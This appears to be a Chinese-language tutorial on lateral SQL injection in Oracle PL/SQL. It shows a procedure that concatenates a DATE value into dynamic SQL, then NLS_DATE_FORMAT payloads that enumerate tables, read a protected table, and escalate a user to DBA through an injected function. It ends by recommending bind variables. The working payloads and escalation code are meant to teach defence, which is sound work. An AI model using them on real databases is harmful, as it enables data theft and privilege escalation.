CREATE OR REPLACE PROCEDURE test_inj(p_date DATE) IS
v_sql VARCHAR2(300);
l_cur SYS_REFCURSOR;
l_username VARCHAR2(100);;
BEGIN
v_sql := 'SELECT t.USERNAME FROM all_users t WHERE t.CREATED =' ||
chr(39) || p_date || chr(39);
dbms_output.put_line('v_string: ' || v_sql);
OPEN l_cur FOR v_sql;
FOR i IN 1 .. 5 --这里只是为了方便测试只显示5行数据
LOOP
FETCH l_cur
INTO l_username;
EXIT WHEN l_cur%NOTFOUND;
dbms_output.put_line('username: ' || l_username);
END LOOP;
CLOSE l_cur;
END;
把test_inj执行权限赋予sh用户
grant execute on test_inj to sh;
conn sh/123456
Connected.
select * from scott.bonus ;
看到过程代码后,我们大多数的开发人员都认为这段代码尽管没有使用绑定变量,但不会受到sql注入攻击。
因为代码输入必须是一个oracle date变量,date 表示世纪,年,月,日,小时,分,秒7个字节的数据类型。
我们都认为date变量是根本无法改变sql语句的含义 。但是事实上,这段代码确实可以被注入的。
sh用户只需要执行如下这句
alter session set nls_date_format= '"'' union select tname from tab--"';
-- 恢复alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss';
然后 传入sysdate 执行存过
EXEC scott.test_inj(SYSDATE);
传入sysdate居然有执行结果了
我们得到的sql语句是,
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''union select tname from tab --'
看到sql实际有三部分
第一部分是就是sql原本想要执行的
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''
很明显结果是0
第二部分是
union select tname from tab
这个就是被注入的sql 这里是能查到这个用户下拥有的表
第三部分就是 --’ 这里就是把结尾的引号注释掉 从而是这个sql在语法上是正确的。
看到本实例的关键就是 修改了 nls_date_format。
很有意思的是,nls_date_format居然可以嵌入字符常量。即使没有alter session 权限也可以在当前的数据库连接会话中更改 nls_date_format。这里恶意用户的做法就是使用权限集蒙骗代码查询你原本不希望他查询的表。tab是一个字典视图,返回当前用户能看到的所有表。当这sh用户 有意思的表bonus时,他接下来就会尝试访问这个表sh用户当然不能直接访问这个表他还会继续通过修改nls_date_format 来实现sh用户已经知道了bonus表,所以他还需要知道这个表有哪些列。(因为前面的查询中只查询了一个字段,所以他不能在注入sql中通过select * from 查询)
同样通过修改nls_date_format实现获取bonus表中的列
alter session set nls_date_format='"'' union select tname||''/''||cname from col--"' ;
再来执行存过
exec scott.test_inj(sysdate);
实际执行的语句如下
SELECT t.USERNAME
FROM all_users t
WHERE t.CREATED = ''
UNION
SELECT tname || '/' || cname
FROM col --'
看到这里 我们得到了bonus表的 列,就可以直接查看该表的信息了,这里可能很有人会问 既然我们都知道表名了为啥不直接通过下面的sql查看表中的列呢
alter session set nls_date_format='"''union select cname from col where tname=''DEPT''"--' ;
想法虽好,但是由于oracle对nls_date_format有字符限制所以只能过这个本办法查询
我们现在已经知道列名了,就可以再次通过修改 nls_date_format 获取表bonus的数据
alter session set nls_date_format='"''union select comm||''/''||ename from bonus "--' ;
执行存过
exec scott.test_inj(sysdate);
注入后的sql 为
SELECT t.USERNAME FROM all_users t WHERE t.CREATED =''union select comm||'/'||ename from bonus --'
查询结果,
看到sh用户就可以访问查看每个员工的绩效了(可能实际并不简直是这些数据,可能是用户密码等),原本sh用户是没有权限的访问这个表的。
sh用户获取到了他本不能获取的数据,但其实这还么有完,如果sh用户还有create procedure权限呢,这很有可能
如果sh用户是我们的开发人员呢,然后如果scott用户还要dba权限以及admin权限
即授权的时候 需要加上 with admin option:;授权语句如下
grant dba to scott with admin option ;
我们创建在sh用户下创建一个授予sh用户dba权限的函数
CREATE OR REPLACE FUNCTION grant_dba RETURN VARCHAR2
RETURN VARCHAR2
AUTHID CURRENT_USER
as
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'grant dba to sh';
RETURN NULL;
END grant_dba;
再把这个函数的执行权限授予 scott用户 ;
grant execute on grant_dba to scott;
接下来 我们还是通过修改nls_date_format参数,通过执行test_inj存过,让scott用户调用这个函数。因为scott用户本身就具有dba权限,就可完成dba权限的窃取
alter session set nls_date_format='"''union select sh.grant_dba from dual t "--' ;
再次调用存过后
exec scott.test_inj(sysdate);
实际执行的sql
SELECT t.USERNAME
FROM all_users t
WHERE t.CREATED = ''
UNION
SELECT sh.grant_dba
FROM dual t --'
看到函数已经执行成功,表示sh已经拥有dba权限了
可以通过 查看 数据字典user_role_privs 来验证
SELECT t.* FROM user_role_privs t
SELECT t.* FROM session_roles t;
正如sh用户期望的一样,他通过sql注入让dba用户scott 调用了赋予权限的函数后, 成功窃取了DBA权限
所以看到不使用绑定变量的危害是很大的除了性能问题还会有安全隐患。解决问题的最好办法就是使用绑定变量。